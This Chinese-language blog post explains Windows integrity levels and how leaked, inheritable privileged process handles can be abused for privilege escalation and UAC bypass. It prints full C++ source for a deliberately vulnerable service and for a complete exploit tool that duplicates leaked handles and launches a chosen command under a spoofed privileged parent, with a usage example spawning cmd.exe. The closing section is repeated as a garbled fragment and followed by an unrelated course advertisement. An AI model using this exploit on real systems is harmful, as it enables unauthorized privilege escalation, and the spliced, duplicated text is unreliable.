在某些情况下,具有高完整性级别或系统完整性级别的进程处理特权进程/线程/令牌,然后产生较低完整性的进程。如果这些特权进程的句柄足够强大、类型正确并且被子进程继承,我们可以从另一个进程对它们进行复制,然后滥用它们来提升权限或绕过
UAC。
Mandatory Integrity Levels
强制完整性控制(Mandatory Integrity Levels,MIC)是 Windows Vista
及更高版本的核心安全功能,它根据其完整性级别(Integrity
Levels),提供了一种用于控制对安全对象的访问的机制。此机制是对自主访问控制的补充,并在评估针对安全对象的访问控制列表(DACL)的访问检查之前评估访问。与在同一用户帐户下运行的其他更受信任的上下文相比,此机制的目标是限制可能不太可信的上下文的访问权限。
MIC 使用完整性级别和强制策略来评估访问权限。为安全主体和安全对象分配了确定其保护或访问级别的完整性级别(Integrity
Levels)。例如,具有低完整性级别的主体无法写入具有中等或更高完整性级别的对象,即使该对象的 DACL 允许对该主体进行写访问。
Windows Vista 定义了四个完整性级别(括号中为其 SID):
-
Low(S-1-16-4096):低完整性级别是默认用于与 Internet 交互的级别,只要 Internet Explorer 在其默认状态下运行,与之关联的所有文件和进程都会被分配低完整性级别。低完整性级别非常受限,它无法执行大多数写入操作。
-
Medium(S-1-16-8192):中等完整性级别是大多数安全对象运行的上下文。标准用户被授予中等完整性级别,任何未明确指定具有较低或较高完整性级别的对象都默认为中等完整性级别。
-
High(S-1-16-12288):Administrators 等 RID 500 的管理员被授予高完整性级别,因此 Administrators 能够与分配了中等或低完整性级别的对象进行交互和修改,也可以对具有高完整性级别的其他对象进行操作。
-
System(S-1-16-16384):系统完整性级别专是为系统保留的。Windows 内核和核心服务被授予系统完整性级别。
Windows 确保只有在安全主体的完整性级别等于或高于安全对象指定的请求完整性级别时,进程才能写入、修改或删除对象。
强制完整性控制是使用新的访问控制条目(ACE)类型定义的,以在其安全描述符中表示对象的完整性级别。在 Windows
中,访问控制列表(ACL)用于向用户或组授予访问权限(读取、写入和执行权限等)。当访问令牌初始化时,完整性级别也会被分配给安全主体的访问令牌,用以表示主体的完整性级别。当主体尝试访问安全对象时,安全参考监视器(Security
Reference Monitor)会将主体访问令牌中的完整性级别与对象安全描述符中的完整性级别进行比较。Windows
根据主体的完整性级别是否高于或低于对象,以及访问控制条目(ACE)中的完整性策略标志来限制允许的访问权限。
# Inherits Process Handle
在 Windows
系统中,所有的进程都在相应的完整性级别下运行。如果一个进程想要在另一个进程中执行写入操作,它必须至少具有相同的完整性级别。这意味着具有低完整性级别的进程无法打开具有中等完整性级别的进程具有完全访问权限的句柄。但是,这并不包含句柄泄露的情况。
在某些情况下,具有高完整性级别或系统完整性级别的进程处理特权进程/线程/令牌,然后产生较低完整性的进程。如果这些特权进程的句柄足够强大、类型正确并且被子进程继承,我们可以从另一个进程对它们进行复制,然后滥用它们来提升权限或绕过
UAC。
例如,以高完整性级别运行的特权进程通过 OpenProcess()
函数打开了一个具有高完整性级别的新进程句柄并且没有关闭,如果特权进程将
OpenProcess()
函数的 bInheritHandle
被指定为 True
,那么这个特权进程的子进程都会继承句柄和它授予的所有访问权限。
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
此后,如果同一个特权进程又创建一个具有低完整性子进程,那么我们可以使用这个子进程获取特权进程的打开句柄,然后滥用它来提升权限或绕过 UAC。
Interesting Handles
正如上文所说的,如果低完整性子进程继承了特权进程的进程句柄,如果这些特权进程的句柄足够强大、类型正确并且被子进程继承,我们可以从另一个进程对它们进行复制,然后滥用它们来提升权限或绕过
UAC。在此之前,我们需要对这些特权进程拥有适当的安全访问权限。
OpenProcess()
函数的第一个参数用于设置在对象上授予句柄持有者哪些权限,大约有 14 种特定于进程的权限(详情可以参考:[Process
Security and Access Rights](https://docs.microsoft.com/en-
us/windows/win32/procthread/process-security-and-access-rights))。我们现在将忽略掉例如
DELETE、READ_CONTROL 等标准的对象访问权限,保留以下访问权限:
Process Access Rights | Meaning |
---|---|
PROCESS_ALL_ACCESS | 进程对象的所有可能的访问权限 |
PROCESS_CREATE_PROCESS | 创建子进程的权限 |
PROCESS_CREATE_THREAD | 创建线程的权限 |
PROCESS_DUP_HANDLE | 复制进程句柄的权限 |
PROCESS_VM_* | 这涵盖了对 VM 写/读/操作的权限 |
[《Exploiting Leaked Process and Thread
Handles》](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-
thread-handles/)这篇文章很好的讲述了各种权限的利用方式。了解更多细节,请读者自行阅读。
ExploitLeakedHandles
为了对上述问题进行测试,我创建了
ExploitLeakedHandles(https://github.com/wh0Nsq/ExploitLeakedHandles)项目。该项目分为两个部分,其中
CreateLeakedHandles用来产生上述特权句柄泄露的情况,ExploitLeakedHandles则对泄露的特权句柄进行利用。
CreateLeakedHandles
该部分是一个易受攻击的 Windows 服务,相关代码如下。
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
int GetProcessByName(PCWSTR name)
{
DWORD pid = 0;
// Create toolhelp snapshot.
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process;
ZeroMemory(&process, sizeof(process));
process.dwSize = sizeof(process);
// Walkthrough all processes.
if (Process32First(snapshot, &process))
{
do
{
// Compare process.szExeFile based on format of name, i.e., trim file path
// trim .exe if necessary, etc.
if (wcscmp(process.szExeFile, name) == 0)
{
return process.th32ProcessID;
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return NULL;
}
int main()
{
HANDLE hToken = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);
int pidWinlogon = GetProcessByName(L"winlogon.exe");
if (pidWinlogon == NULL) {
printf("[-] Can't open Winlogon, run as system");
}
HANDLE privilegedProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,
TRUE,
pidWinlogon
);
int pidExplorer = GetProcessByName(L"explorer.exe");
if (pidExplorer == NULL) {
printf("[-] Can't open Explorer");
}
// Call OpenProcess(), print return code and error code
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, pidExplorer);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", hProcess);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
CloseHandle(hProcess);
// Call CreateProcessWithTokenW(), print return code and error code
//BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\notepad.exe", NULL, 0, NULL, NULL, &startupInfo, &pi);
if (CreateProcessAsUserW(
duplicateTokenHandle,
L"C:\\Windows\\System32\\SndVol.exe",
NULL,
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&si,
&pi
))
{
printf("[+] Process spawned!\n");
}
else
{
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
getchar();
}
此服务易受攻击的代码位于主函数内部,此功能最开始使用 bInheritHandle
为 True
的方式,通过
OpenProcess()
函数打开特权进程 winlogon.exe
的句柄,并且该进程句柄所授予的权限被设为
PROCESS_ALL_ACCESS。由于打开的句柄并未即使关闭,并且在后续的操作中通过复制
explorer.exe
进程令牌的方式启动了一个低权限子进程 SndVol.exe
。
与令牌窃取的攻击手法类似,通过复制这个子进程的句柄,我们能够轻易地得到具有特权进程泄露的句柄,利用该句柄我们可以启动新进程,并将父进程欺骗为该句柄指向的特权进程,进而使新进程能够继承父进程的安全上下文。
ExploitLeakedHandles
为了能够获取到这个特权句柄,并通过这个句柄启动新进程,我在 ExploitLeakedHandles 项目中编写了第二个部分,相关代码如下:
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <unordered_set>
#include "Native.h"
#include <shlwapi.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <iostream>
#include <strsafe.h>
#pragma comment(lib, "Shlwapi.lib")
using namespace std;
typedef enum _INTEGRITY_LEVEL {
UNTRUSTED_INTEGRITY,
LOW_INTEGRITY,
MEDIUM_INTEGRITY,
HIGH_INTEGRITY,
SYSTEM_INTEGRITY,
PPL_INTEGRITY,
INTEGRITY_UNKNOWN,
}INTEGRITY_LEVEL, * PINTEGRITY_LEVEL;
/* This function will get all process handles in the system. */
PSYSTEM_HANDLE_INFORMATION_EX QueryAllSystemHandlers()
{
NTSTATUS queryStatus;
PSYSTEM_HANDLE_INFORMATION_EX handleInfoEx;
ULONG handleInfoSizeEx = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
ULONG returnLength;
handleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(handleInfoSizeEx);
while ((queryStatus = NtQuerySystemInformation(
SystemExtendedHandleInformation,
handleInfoEx,
handleInfoSizeEx,
&returnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
{
handleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(handleInfoEx, handleInfoSizeEx *= 2);
if (handleInfoEx == NULL)
{
break;
}
}
if (!NT_SUCCESS(queryStatus) || handleInfoEx == NULL)
{
printf("[-] NtQuerySystemInformation() failed.\n");
free(handleInfoEx);
return NULL;
}
printf("[+] Query all system handles information succeeded.\n");
return handleInfoEx;
}
/* This function will get the parent process id of the specified process. */
ULONG_PTR GetParentPid(ULONG_PTR UniqueProcessId)
{
NTSTATUS queryStatus;
PPROCESS_BASIC_INFORMATION processInfo;
ULONG processInfoSize = sizeof(PROCESS_BASIC_INFORMATION);
ULONG returnLength;
ULONG_PTR ppid;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, UniqueProcessId);
if (hProcess == NULL) {
return FALSE;
}
processInfo = (PPROCESS_BASIC_INFORMATION)malloc(processInfoSize);
while ((queryStatus = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
processInfo,
processInfoSize,
&returnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
{
processInfo = (PPROCESS_BASIC_INFORMATION)realloc(processInfo, processInfoSize *= 2);
if (processInfo == NULL)
{
break;
}
}
if (!NT_SUCCESS(queryStatus) || processInfo == NULL)
{
printf("[-] NtQueryInformationProcess() failed.\n");
free(processInfo);
return NULL;
}
ppid = (ULONG_PTR)processInfo->InheritedFromUniqueProcessId;
free(processInfo);
CloseHandle(hProcess);
return ppid;
}
/* This function will get the specified process integrity level. */
BOOL GetProcessIntegrityLevel(ULONG_PTR UniqueProcessId, PINTEGRITY_LEVEL integrityCode)
{
PTOKEN_MANDATORY_LABEL tokenInfo;
DWORD tokenInfoSize = sizeof(TOKEN_MANDATORY_LABEL);
DWORD returnLength;
HANDLE hToken = NULL;
// Setting default Handle type name
*integrityCode = INTEGRITY_UNKNOWN;
SetLastError(NULL);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, UniqueProcessId);
if (hProcess == NULL) {
return FALSE;
}
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
CloseHandle(hProcess);
return FALSE;
}
tokenInfo = (PTOKEN_MANDATORY_LABEL)malloc(tokenInfoSize);
// Get token information, set tokenInfo.
if (GetTokenInformation(
hToken,
TokenIntegrityLevel,
tokenInfo,
tokenInfoSize,
&returnLength
) || GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
tokenInfo = (PTOKEN_MANDATORY_LABEL)realloc(tokenInfo, tokenInfoSize *= 2);
if (!GetTokenInformation(
hToken,
TokenIntegrityLevel,
tokenInfo,
tokenInfoSize,
&returnLength
))
{
CloseHandle(hProcess);
CloseHandle(hToken);
free(tokenInfo);
return FALSE;
}
}
DWORD integrityLevel = *GetSidSubAuthority(
tokenInfo->Label.Sid,
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(tokenInfo->Label.Sid) - 1)
);
CloseHandle(hProcess);
CloseHandle(hToken);
free(tokenInfo);
if (integrityLevel < SECURITY_MANDATORY_LOW_RID) {
*integrityCode = UNTRUSTED_INTEGRITY;
return TRUE;
}
if (integrityLevel < SECURITY_MANDATORY_MEDIUM_RID) {
*integrityCode = LOW_INTEGRITY;
return TRUE;
}
if (integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID &&
integrityLevel < SECURITY_MANDATORY_HIGH_RID) {
*integrityCode = MEDIUM_INTEGRITY;
return TRUE;
}
if (integrityLevel < SECURITY_MANDATORY_SYSTEM_RID) {
*integrityCode = HIGH_INTEGRITY;
return TRUE;
}
if (integrityLevel < SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {
*integrityCode = SYSTEM_INTEGRITY;
return TRUE;
}
if (integrityLevel >= SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {
*integrityCode = PPL_INTEGRITY;
return TRUE;
}
return FALSE;
}
/* This function is used to duplicate the specified process handle. */
HANDLE DuplicateProcessHandle(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo)
{
HANDLE hProcess;
HANDLE duplicateProcessHandle = NULL;
// We're going to duplicate the handle so we need first the process handle.
if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.UniqueProcessId)))
{
return NULL;
}
// Duplicate the handle so we can query it.
if (!NT_SUCCESS(NtDuplicateObject(
hProcess,
(HANDLE)handleInfo.HandleValue,
GetCurrentProcess(),
&duplicateProcessHandle,
0,
0,
DUPLICATE_SAME_ACCESS
)))
{
CloseHandle(hProcess);
return NULL;
}
CloseHandle(hProcess);
return duplicateProcessHandle;
}
/*
* This function will spoof the parent process with PROCESS_ALL_ACCESS permission
* and start a new process in the security context of the parent process.
*/
BOOL Exploit_Process_Create_Process(HANDLE parentProcessHandle, LPTSTR lpCommandLine)
{
STARTUPINFOEX si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEX));
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
if (!CreateProcess(
NULL,
lpCommandLine,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
&si.StartupInfo,
&pi)
)
{
printf("[-] CreateProcess() Failed (%d).\n", GetLastError());
return FALSE;
}
else {
printf("[+] Created process with PID %d.\n", pi.dwProcessId);
return TRUE;
}
}
void Usage(TCHAR* argv)
{
printf("\nUsage: %S -c [Command]\n", argv);
}
int _tmain(int argc, TCHAR* argv[])
{
LPTSTR lpCommandLine = (LPTSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(TCHAR));
if (!(argc < 3) && (argv[1][0] == '-'))
{
switch (argv[1][1])
{
case 'c':
StringCchPrintf(lpCommandLine, MAX_PATH, argv[2]);
break;
case 'h':
Usage(argv[0]);
exit(0);
break;
default:
Usage(argv[0]);
exit(0);
}
}
else
{
Usage(argv[0]);
exit(0);
}
auto systemHandlesList = QueryAllSystemHandlers();
printf("[+] Filtering out all interesting handles.\n");
for (int i = 0; i < systemHandlesList->NumberOfHandles; i++)
{
auto handleInfo = systemHandlesList->Handles[i];
ULONG_PTR parentUniqueProcessId = GetParentPid(handleInfo.UniqueProcessId);
INTEGRITY_LEVEL processIntegrity;
INTEGRITY_LEVEL parentProcessIntegrity;
// We are only interested in the process handle.
if (handleInfo.ObjectTypeIndex != 0x07)
{
continue;
}
// Filter out all interesting handles.
if (!(handleInfo.GrantedAccess == PROCESS_ALL_ACCESS ||
handleInfo.GrantedAccess & PROCESS_CREATE_PROCESS ||
handleInfo.GrantedAccess & PROCESS_CREATE_THREAD ||
handleInfo.GrantedAccess & PROCESS_DUP_HANDLE ||
handleInfo.GrantedAccess & PROCESS_VM_WRITE))
{
continue;
}
// We are only interested in the nherited handle.
if (!(handleInfo.HandleAttributes & HANDLE_INHERIT))
{
continue;
}
// Get Child Process Integrity.
GetProcessIntegrityLevel(handleInfo.UniqueProcessId, &processIntegrity);
// Get Parent Process Integrity.
GetProcessIntegrityLevel(parentUniqueProcessId, &parentProcessIntegrity);
// We are only interested in processes whose integrity level is less than its parent process, and less than or equal to medium level
if (processIntegrity < parentProcessIntegrity && processIntegrity <= MEDIUM_INTEGRITY)
{
HANDLE parentProcessHandle = DuplicateProcessHandle(handleInfo);
if (Exploit_Process_Create_Process(parentProcessHandle, lpCommandLine))
{
printf("[+] Exploit Success.\n");
}
CloseHandle(parentProcessHandle);
}
}
}
在上述代码中,我们首先通过 QueryAllSystemHandlers()
函数获取系统中所有的句柄,然后过滤出所有符合以下条件的句柄:
-
该句柄是一个进程句柄。
-
该句柄授予句柄持有者特殊权限,即上文中我们提到的 Interesting Handles。
-
该句柄所指向的进程的完整性级别小于其父进程,并且小于中等于中等完整性级别。
过滤出符合上述条件的句柄后,我们通过 DuplicateProcessHandle()
函数获取该句柄的副本并传入
Exploit_Process_Create_Process()
函数,使用该句柄指向的进程作为父进程来创建新进程。
Example
如下图所示,运行 ExploitLeakedHandles.exe 后,成功获取获取到了一个绕过 UAC 的命令行:
ExploitLeakedHandles.exe -c cmd.exe
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sbW90KIB-1691033846034)(https://image.3001.net/images/20220502/1651480003_626f95c38605ba63b0d8a.png!small)]
Ending…
参考文献:
<http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-
handles/>https://aptw.tf/2022/02/10/leaked-handle-hunting.html
<https://book.hacktricks.xyz/windows/windows-local-privilege-
escalation/leaked-handle-exploitation>
柄后,我们通过 DuplicateProcessHandle()
函数获取该句柄的副本并传入
Exploit_Process_Create_Process()
函数,使用该句柄指向的进程作为父进程来创建新进程。
Example
如下图所示,运行 ExploitLeakedHandles.exe 后,成功获取获取到了一个绕过 UAC 的命令行:
ExploitLeakedHandles.exe -c cmd.exe
[外链图片转存中…(img-sbW90KIB-1691033846034)]
Ending…
参考文献:
<http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-
handles/>https://aptw.tf/2022/02/10/leaked-handle-hunting.html
<https://book.hacktricks.xyz/windows/windows-local-privilege-
escalation/leaked-handle-exploitation>
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。
